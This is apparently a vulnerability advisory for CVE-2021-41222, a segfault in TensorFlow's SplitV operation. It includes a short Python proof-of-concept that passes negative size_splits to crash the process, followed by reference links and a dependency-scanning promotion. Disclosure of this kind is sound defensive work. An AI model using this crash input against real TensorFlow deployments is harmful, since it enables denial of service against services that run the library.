CVE-2021-41222: Segfault due to negative splits in `SplitV`
(updated )
The implementation of SplitV can trigger a segfault is an attacker supplies negative arguments:
import tensorflow as tf
tf.raw_ops.SplitV(
value=tf.constant([]),
size_splits=[-1, -2]
,axis=0,
num_split=2)
This occurs whenever size_splits contains more than one value and at least one value is negative.
References
- github.com/advisories/GHSA-cpf4-wx82-gxp6
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-631.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-829.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-414.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6
- github.com/tensorflow/tensorflow/security/advisories/GHSA-cpf4-wx82-gxp6
- nvd.nist.gov/vuln/detail/CVE-2021-41222
Code Behaviors & Features
Detect and mitigate CVE-2021-41222 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →